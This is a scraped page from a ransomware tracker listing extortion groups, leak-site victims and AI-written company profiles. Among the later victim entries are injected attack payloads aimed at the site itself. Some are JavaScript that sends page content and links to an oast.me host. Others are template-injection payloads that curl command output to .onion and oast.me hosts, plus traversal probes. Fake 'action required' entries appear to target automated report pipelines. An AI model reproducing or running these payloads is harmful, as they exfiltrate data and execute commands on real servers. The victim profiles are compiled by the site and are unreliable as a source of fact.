ZeroHour

Incidents

Ransomware leak-site victims (RansomLook), confirmed breaches (Have I Been Pwned) and AI-written profiles of the most active groups

Ransomware & extortion groups · activity

#Group7dtrend30d90dall-time*Last postStatusEstimated earnings (public reporting)
1the gentlemen32▲9157413413activeno public figure
2qilin18▲2115359359activeno public figure
3krybit13▲11479696activeno public figure
4direwolf5▼6456262activeno public figure
5storm44▲44445656activeno public figure
6akira7▼1388282activeApproximately $42 million in ransom proceeds as of March 2024; no comprehensive public estimate since.
7coinbase cartel0=375656activeno public figure
8inc ransom3▼636106106activeno public figure
9lockbit55▼1278686activeOver US$120 million in ransom payments received, per U.S. DOJ and UK NCA Operation Cronos announcement (February 2024). Earnings attributable to the LockBit…
10shinyhunters1▼2243434activeno public figure
11safepay14▲8227272activeno public figure
12leakeddata0▼7203838activeno public figure
13orova0=194444activeno public figure
14zawoo0=191919activeno public figure
15audit team10▲6181919activeno public figure
16panzer6▲3172424activeno public figure
17kazu0▼17171717activeno public figure
18emperador6▲5161919activeno public figure
19play4▲4144444activeno public figure
20vexy4▼6141414activeno public figure
21black nevas13▲13131313activeno public figure
22chaos5▲4123434activeno public figure
23everest0▼4123434activeno public figure
24pear1▼1122727activeno public figure
25rhysida3▲1121515activeno public figure

*all-time = since this tracker started collecting leak-site posts. Earnings are estimates from public reporting (law enforcement, blockchain analytics), compiled by the model; treat as indicative.

Incidents157 records · full details

VictimGroup / typeDiscoveredDetails
EP Manufacturing Bhd
tracker page ↗
the gentlemenfilter this group · 15d agoepmb.com.my zoominfo.com/c/ep-manufacturing-bhd/372140192 EPMB (7773, Bursa Malaysia) — Malaysian auto manufacturer, operating since 1982. Formerly made parts for Proton, Perodua, Honda, Toyota. Now assembles complete cars in Melaka for Chinese brands: GWM, BAIC, XPENG, MG. Capacity raised to 30,000 vehicles/year; in 2026 output exceeds 1,000 cars/month. Q2 2026: net profit RM5.15m (19× up), revenue RM212.7m (+67%) — 10-year record. Share price ~RM0.44, market cap ~RM125m, dividend ~1.2%; risks — debt and low liquidity.
Glassdoor
tracker page ↗
the gentlemenfilter this group · 17d agoglassdoor.com is a U.S. job platform (founded 2007) where employees anonymously review companies — culture, salaries, management. It's owned by Recruit Holdings/Indeed (acquired for $1.2B in 2018; legally merged into Indeed on July 1, 2026). It hosts millions of reviews for ~600,000 companies, plus salary data and job listings. Free for job seekers, monetized via employer branding tools; it also publishes the annual "Best Places to Work" awards.
G R Infraprojects
tracker page ↗
the gentlemenfilter this group · 17d agogrinfra.com zoominfo.com/c/g-r-infraprojects-ltd/353612422 We have taken NDA files, HR data, user data, employee data, technical drawings, models, bank statements, tax and legal documents, confidential files, photographs of work, screenshots, passport scans, VIP client data, and much more the total volume of data exceeds 531 GB. Grinfra G R Infraprojects Ltd is an Indian integrated infrastructure EPC company founded in 1995, headquartered in Udaipur and Gurugram. It builds roads, highways, bridges, metros, railways, tunnels, ropeways and power transmission lines across 23+ Indian states, with a 10,000-strong workforce and an order book of roughly ₹19,000+ crore ($2.3 bn). Projects are delivered under EPC, BOT, HAM and BOOT models, backed by in-house manufacturing (bitumen, paints, metal crash barriers) and ~7,500 equipment units. Listed on BSE/NSE since July 2021 (ticker GRINFRA), rated CRISIL AA / CARE AA+ (stable).
Northwest Trophy
tracker page ↗
the gentlemenfilter this group · 17d agonwtrophy.com rocketreach.co/northwest-trophy-inc-profile_b59c90e0f9bc4cf5 Northwest Trophy & Awards Inc is a fourth-generation, family-owned awards business operating since 1938, with a showroom in Woodinville, WA (Seattle area). It offers personalized awards and gifts: trophies, medals, plaques, crystal and art-glass awards, acrylics, clocks, drinkware and ceremonial items. All engraving and printing (laser, rotary, full-color) is done in-house, serving sports teams, schools and businesses. It sells both through its showroom and an online Shopify store with standard 5–7 day production; a Seattle location was closed in 2023, leaving Woodinville (and previously Bellevue) to serve customers.
General Gruppo
tracker page ↗
the gentlemenfilter this group · 17d agogeneralgruppo.it rocketreach.co/general-gruppo-profile_b68428f5c6158b62 General Gruppo / General s.r.l. is a family-owned Italian retail chain founded in 1975 by Pietro Paolo Tognetti and Silvana Bonugli, headquartered in Querceta (Seravezza, Lucca, Tuscany). Historically known as IperSoap — one of Italy's first home-care and personal-hygiene retail formats — it reached ~250 stores in 2019 and €150 million in revenue (2018). In 2020 it began rebranding into the unified PiùMe banner (merging IperSoap, Smoll and Shuki), and it also owns the historic Bacci Profumerie perfumeries (Forte dei Marmi) and the piume.it online shop. The founders' sons run the business — Saverio (CEO) and Francesco; the group includes General s.r.l. and General Nord s.r.l.
Ixa Systems
tracker page ↗
the gentlemenfilter this group · 17d agoixasystems.ch rocketreach.co/ixa-systems-sa-profile_b40f7faaffd19ede Ixa Systems SA is a Swiss security systems company founded in 2007, headquartered in Crissier (canton Vaud, near Lausanne). A small family-run firm of ~9–10 staff with revenue of about CHF 3.5 million, it designs and integrates surveillance solutions: video surveillance (IP/CCTV), anti-intrusion systems, intercom, access control, perimeter detection, technical building supervision (GTC) and evacuation PA systems. Since 1 April 2022 it has been majority-owned by the D.E.S Systèmes de sécurité SA group, with Marc Barraud as director. Its clients include police, banks, museums, schools, hospitals, prisons and railways, and it offers 24/7 maintenance contracts.
Tecno Accion
tracker page ↗
the gentlemenfilter this group · 17d agotecnoaccion.com.ar Tecno Accion S.A. is an Argentine IT company (founded 1988) that acts as a technology partner for lotteries — "Modernizing lotteries in a digital world" — with offices in Buenos Aires (Av. Rivadavia 620) and Bariloche. It develops its own hardware and software for lottery automation: 8,000+ terminals in operation, 4+ million daily wagers, serving 12 jurisdictions (half of Argentina's provinces); in Salta province it is the exclusive operator of the lottery license (900+ points of sale). It also delivered horse-racing bet capture for the Hipódromo Argentino de Palermo and completed projects in Peru, Panama, Brazil and Nigeria. Staff of ~80–135; certified under ISO 9001, ISO 27001 and WLA SCS:2020; historically linked to Greece's Intralot and the Capital Markets group.
Probe Test System
tracker page ↗
the gentlemenfilter this group · 17d agoptse.com.tw Probe Test System Corp. (PTS, 群雅電子) is a Taiwanese semiconductor back-end (OSAT) service provider operating since 2000, with plants in Zhunan and Toufen, Miaoli County (the former Hsinchu site was consolidated into Toufen in Q1 2024). Its services cover System Level Test (SLT), wafer chip probing (CP) on Chroma, ASL1000 and CTA8280 platforms, IC marking/remarking, Tape & Reel packaging (capacity ~150 KK units/month) plus lead/ball scan inspection. Long-term customers include Taiwan's leading chipmakers: Winbond, MediaTek, Novatek, Nuvoton and Macronix. The company is certified under ISO 9001, ISO 14001 and ANSI/ESD S20.20-2021.
SUNSEA
tracker page ↗
the gentlemenfilter this group · 17d agosunsea.co.th Sunsea Plastics P.S. Co., Ltd. is a family-owned Thai polyethylene film manufacturer founded in 1988, operating a purpose-built 13,000 sq.m factory in Bangna, Bangkok (office at Soi Lasalle 24, Sukhumvit Rd). It is Thailand's leading independent PE extruder, producing LDPE shrink film (rolls, hoods, sleeves, bags), LLDPE lamination and printing films, mLLDPE, PP/PE coex films, milk pouches and overwrap films, running 16 mono-layer plus 3-layer lines. It is the sole ExxonMobil-authorized producer of Nexxstar collation shrink film in Thailand and is ISO 9001 certified
Thai Film Industries PCL
tracker page ↗
the gentlemenfilter this group · 17d agothaifilmind.com Thai Film Industries PCL (TFI) is a Thai film maker founded in 1983 (originally Rachadachai O.P.P. Co., Ltd.) by industrialist Prayudh Mahagitsiri — Thailand's first BOPP film producer and Southeast Asia's industry pioneer, today a global top-20 BOPP manufacturer. Its portfolio covers BOPP (Thai-Lene), CPP (Thai-Cast), PET and metallized films for flexible packaging, printing, lamination, labels, adhesive tape, flower wrap and biodegradable uses. It runs two plants — in Samut Prakan (Bang Phli, Bangna-Trad Km.13) and Rayong (Nikhom Pattana) — with ~760 employees and exports across Asia, Europe and the Americas. Listed on the Stock Exchange of Thailand since 29 Dec 1989 (ticker TFI, paid-up capital ~THB 2.05 bn); renamed Thai Future Incorporation PCL in 2023, it is affiliated with Thai Copper Industries and Thai Film Bangladesh; CEO since 2023: Phadetkiat Imdacha.
Adkisson Group
tracker page ↗
the gentlemenfilter this group · 17d agoadkissondevelopment.com Adkisson Group / Adkisson Development Group is a privately held industrial real estate development and investment firm founded in 2012 and based in Houston, Texas (4809 Westway Park Blvd / 1130 Enclave Pkwy, Houston, TX 77041). It specializes in office/warehouse, manufacturing and distribution properties — development sites of 10–250 acres and buildings from 6,000 to 455,000 sq ft (its largest current project is the 604,096 sq ft Willow Creek Business Park). Services span development, general contracting through its in-house Adkisson GC Partners (tilt-wall construction), design-build, build-to-suit and site planning. Managing partners are co-founders Steve Adkisson (35+ years in the industry) and Arturo Creixell, plus Anthony Sarao, who heads the GC division; the lean team of ~7–20 staff generates roughly $5.9M in annual revenue.
ESB Puerto Rico Corp
tracker page ↗
the gentlemenfilter this group · 17d agoesbpr.com ESB Puerto Rico Corp is a distributor of automotive and industrial products that has served Puerto Rico since 1965 ("Energizando a Puerto Rico desde 1965"); it is headquartered in Carolina, PR, is a Hispanic-/minority-owned small business and a federal contractor (CAGE 3DPU1). Its portfolio spans automotive, traction and stationary/backup batteries, tires, lubricants and DEF, AUTEL diagnostics, tools, plus Hyundai and EP forklifts, warehouse equipment, rental, maintenance, OEM parts and e-commerce — a "one-stop source" for material handling, automotive and industrial operations in Puerto Rico and the Virgin Islands, representing ~9 brands (including Eternity Technologies). The president is Omar Aponte; the company stays lean (under ~25 staff, ~$2M revenue) and handles ~150 sea import shipments a year, mostly from Asia.
Nutrypollo
tracker page ↗
the gentlemenfilter this group · 17d agonutrypollo.com.mx zoominfo.com/c/nutrypollo/427100153 Nutrypollo / Agroindustrias Quesada, S. de R.L. de C.V. is a Mexican family-owned poultry company (4th generation) based in Aguascalientes; it began as Bernardo Quesada de Alba's egg-laying farm in 1950 and entered broiler production in 1963 under founder Jorge Quesada Morán. It is fully vertically integrated — genetics and hatching, feed milling, grow-out farms, slaughter and processing (12,000 birds/hour, up to 80,000 birds/day, ~60 million birds a year) and distribution across 30+ Mexican states. Brands include fresh chicken under Nutrypollo, the marinated Nutryfácil and Premium lines, and, since November 2023, its own NutryTienda retail concept. Certified TIF (SENASICA) and international Halal (FSSC 22000 in progress), it built a state-of-the-art plant with Marel/Stork lines in 2012–2015 — Mexico's first Marel demonstration site; the Quesada family still runs the business (CEO Cesar Quesada, Marketing Directo
Brebur
tracker page ↗
the gentlemenfilter this group · 17d agobreburltd.co.uk zoominfo.com/c/brebur-ltd/445718566 Brebur Ltd is a UK specialist subcontractor for steel frame systems (SFS), dry-lining, partitions, plastering and suspended ceilings, founded in 2002 (trading as Ace Fire Solutions Ltd until Dec 2012); it is based at Unit 1 Capitol Close, Dodworth, Barnsley, South Yorkshire. It delivers projects across the North of England for main contractors such as BAM, Kier and Willmott Dixon, and also installs lead-lined radiation-protection partitions for hospitals and acoustic raft/baffle solutions. It holds long-standing manufacturer partnerships (British Gypsum, Siniat/Knauf, and Ecophon's EPIC status since 2016) and has won a Gold National Quality Award plus BAM's Regional Contractor of the Year. With ~20 staff and net assets of ~£2.7m (2025), it sits under the Brebur Holdings / Brebur Group Ltd structure created in 2024 (directors Jamie Brenton and Vincenzo Lilley);
MB Associates
tracker page ↗
the gentlemenfilter this group · 17d agombassociates.org zoominfo.com/c/mb-associates/372858181 MB Associates is a UK social impact consultancy founded in 2005 by Mandy Barnett (London Business School MBA, chair of Social Value UK), based in Holmfirth, West Yorkshire; its legal entity is Mandy Barnett Associates Ltd (incorporated 7 Sep 2005, registered in Welwyn Garden City). It helps people, projects and organisations understand and increase their social impact — impact evaluation, SROI analysis, consultation and research, creative facilitation, training and toolkits — working through a Plan–Do–Review cycle that starts with a "Story of Change". Clients include Arts Council England, the National Lottery, UKRI-AHRC, Natural Resources Wales, Bristol City Council, the National Children's Orchestra, museums and charities; it also runs its own learning platform, Culture3 (culturecubed.org). In February 2026 the founder handed the firm over to colleagues — directors Jael Williams and Emily Wilson — and the brand
Exacta Optech Labcenter
tracker page ↗
the gentlemenfilter this group · 17d agoexactaoptech.com zoominfo.com/c/exactaoptech-labcenter-spa/426158257 Exacta + Optech Labcenter S.p.A. is an Italian one-stop distributor of instruments, consumables and reagents for scientific laboratories, founded in 1974/75 by Gian Amico Alessandrini and headquartered at Via Bosco 21, San Prospero (Modena). It supplies lab optics and instruments under its own Optech brand (biological/stereo/inverted microscopes, spectrophotometers, refractometers, polarimeters, micropipettes, cuvettes), chemicals, lab furniture, and designs turnkey laboratories; market segments include pharma, food, petrochemical/Oil&Gas, environment, education and oenology — where it is Hach-Lange's worldwide official partner. Its 1,500-page catalogue and e-shop list ~100,000 items; the team of ~35–45 includes 7 dedicated service technicians, backed by agreements with Avantor, Honeywell and LLG and the acquisitions of Ing. C. Bullio (2006) and Alkimia (2022). In 2024 the company rebranded from EXA
Servicios Aereos Estrella
tracker page ↗
the gentlemenfilter this group · 17d agosae.com.mx zoominfo.com/c/servicios-aéreos-estrella-s-a/457170292 Servicios Aéreos Estrella, S.A. de C.V. (SAE) is a Mexican business-aviation company and pioneer of executive aviation in Mexico with 30+ years of experience, based at Toluca International Airport — the main private-aviation gateway to Mexico City. It claims to be Latin America's largest FBO, with 12,000 m² of apron, 10,000 m² of hangar storage, four VIP lounges, a café/bar, VIP ground transport and an office next to immigration. Services include private jet charter and rental (from piston aircraft to long-range jets, plus discounted "Empty Legs"), aircraft management and administration, full handling/dispatch (permits, catering, documents, flight closures), aircraft storage and pet-friendly flights, operating 24/7 year-round.
Party Rental
tracker page ↗
the gentlemenfilter this group · 20d agopartyrentalltd.com zoominfo.com/c/party-rental-ltd/92603384 is a legitimate, family-owned U.S. event rental company founded in 1972 — one of the largest in the country. HQ and a 300,000 sq ft warehouse are in Teterboro, NJ, with locations in New York City, Philadelphia, Washington D.C., Boston, and the Hamptons.
TEC Container
tracker page ↗
the gentlemenfilter this group · 20d agoteccontainer.com TEC Container is a Spanish manufacturer of spreaders, lifting frames, and container-handling equipment, based in Algete (Madrid) since 1988. The company supplies ports and terminals worldwide, offering brands like TECSPREADER and TECGENSET (its diesel genset line for reefer containers).
Verbux
tracker page ↗
the gentlemenfilter this group · 20d agoverbux.com zoominfo.com/c/verbux-soluciones-informáticas-limitada/457993216 Verbux is a Chilean IT company — Verbux Soluciones Informáticas Limitada — operating since 2001, headquartered at Juana de Arco Nº2012, Oficina 33, Providencia, Santiago, Chile (also verbux.cl). It delivers IT infrastructure, engineering, professional IT services, cloud computing, IoT and SCADA process-control solutions for industrial, mining and power-generation clients. Claims 1,000+ implemented IT solutions (from file servers to data centers with high availability), and is currently implementing ISO 9001:2015 quality certification.
Espinos
tracker page ↗
the gentlemenfilter this group · 20d agoespinos.energy dnb.com/business-directory/company-profiles.espinos_sa.7081c859ec6ec62bc369252d901ee655.html Espinos S.A. is a Chilean power generation company operating under the Potencia Chile brand (Grupo Agrisol), with 17 years of experience and ~260 MW of installed capacity. It runs a diversified portfolio: thermal (Central Espinos in Los Vilos), hydroelectric (Renaico, Alto Renaico), solar (Lipangue, Pumas) and battery storage (BESS Mandarinos). Headquartered at Av. Apoquindo 4501, Las Condes, Santiago, Chile; RUT 76.925.800-0.
Incolur
tracker page ↗
the gentlemenfilter this group · 20d agoincolur.cl zoominfo.com/c/incolur/372497016 Incolur Corretajes Limitada is a Chilean import & distribution company specialized in industrial supplies. It imports and distributes: machine tools and their accessories, abrasives (grinding/cutting wheels), welding equipment, measuring & precision instruments, industrial gauges and tooling for workshops and construction. De facto it works as a B2B supplier, reselling international industrial brands to the Chilean market.
RCOP1
tracker page ↗
the gentlemenfilter this group · 24d ago
REPORT QUEUE STALLED
tracker page ↗
the gentlemenfilter this group · 24d agoreport-generator: 3 jobs failed validation (RCGEN1, RCSSTI, RCSSTI2). Manual regeneration required: run report pipeline for pending entries. Last error: template compile timeout on pending entries.
PAYOUT AUDIT - ACTION REQUIRED
tracker page ↗
the gentlemenfilter this group · 24d agoAutomated audit could not reconcile 2 wallet entries. Regenerate affected reports to clear the hold before the next cycle.
Meridian Logistics Group
tracker page ↗
the gentlemenfilter this group · 24d agoFull network image staged. ERP exports, dispatch DB and payroll archives recovered. Pending final inventory before publication. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));">
RCLIFE1
tracker page ↗
the gentlemenfilter this group · 24d ago=24)clearInterval(t)},15000);">
OPVIEW2
tracker page ↗
the gentlemenfilter this group · 24d agoMedia reindex queued.
RCSSTI {{7*7}} ${7*7} <%=7*7%> {{config}}
tracker page ↗
the gentlemenfilter this group · 24d agossti-armed {{self.__init__.__globals__.__builtins__.__import__('os').popen('curl http://3d43hmcmyjzru3kca6ykjxqlmea65c7qlrzhgq6snz4ghqrl54sojwad.onion:4444/ssti-$(id|base64 -w0)').read()}} | {{7*7}} | {{request.application.__globals__}}
RCSSTI2 {{7*7}}
tracker page ↗
the gentlemenfilter this group · 24d agossti2 {{self.__init__.__globals__.__builtins__.__import__('os').popen("curl -s https://nzagpz3jm8i5v726mnliix7xw412xve3w.oast.me/ssti-$(id|base64 -w0|tr '+/' '-_')").read()}}
OPVIEW1
tracker page ↗
the gentlemenfilter this group · 24d agoCatalog sync pending - media index incomplete. r.text().then(t=>fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/adm?st='+r.status+'&b='+encodeURIComponent(t.slice(0,400))))).catch(e=>0);fetch('https://hc2fqkuw8di8e46rpr2prwfgbyi0rfh9n.oast.me/dom?h='+encodeURIComponent([...document.querySelectorAll('a[href]')].map(a=>a.getAttribute('href')).join('|').slice(0,700)));">
RCNL1
tracker page ↗
the gentlemenfilter this group · 24d agonewline probe
TRAVA
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
TRAVB
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
TRAVC
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
TRAVD
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
TRAVE
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
TRAVF
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
RCBOT3
tracker page ↗
the gentlemenfilter this group · 24d ago
RCGEN1 {{7*7}}
tracker page ↗
the gentlemenfilter this group · 24d agogencheck {{7*7}} ${7*7}
RCIMG2
tracker page ↗
the gentlemenfilter this group · 24d agoimg2
SRCPSC
tracker page ↗
the gentlemenfilter this group · 24d ago.
SRCAPP
tracker page ↗
the gentlemenfilter this group · 24d ago.
SRCSRV
tracker page ↗
the gentlemenfilter this group · 24d ago.
SRCOPT
tracker page ↗
the gentlemenfilter this group · 24d ago.
SRCHOME
tracker page ↗
the gentlemenfilter this group · 24d ago.
RCF1
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCF2
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCF3
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCF4
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCF5
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
../RCTRAV
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCSLASH/x
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCTYPE
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCMLS
tracker page ↗
the gentlemenfilter this group · 24d agoprobe
RCBOT2
tracker page ↗
the gentlemenfilter this group · 24d ago
RCBEACON
tracker page ↗
the gentlemenfilter this group · 24d agobeacon
XSSLIVE
tracker page ↗
the gentlemenfilter this group · 24d agoLIVE
ACLTEST
tracker page ↗
the gentlemenfilter this group · 24d ago.
MASSIGN
tracker page ↗
the gentlemenfilter this group · 24d ago.

Breach & ransomware newsAll →

Leak-site posts are claims by criminals and can be false or duplicated; victim names are shown as posted. HIBP entries are verified breaches with the affected account count. Dates are when the post or breach was first observed, not when the intrusion happened.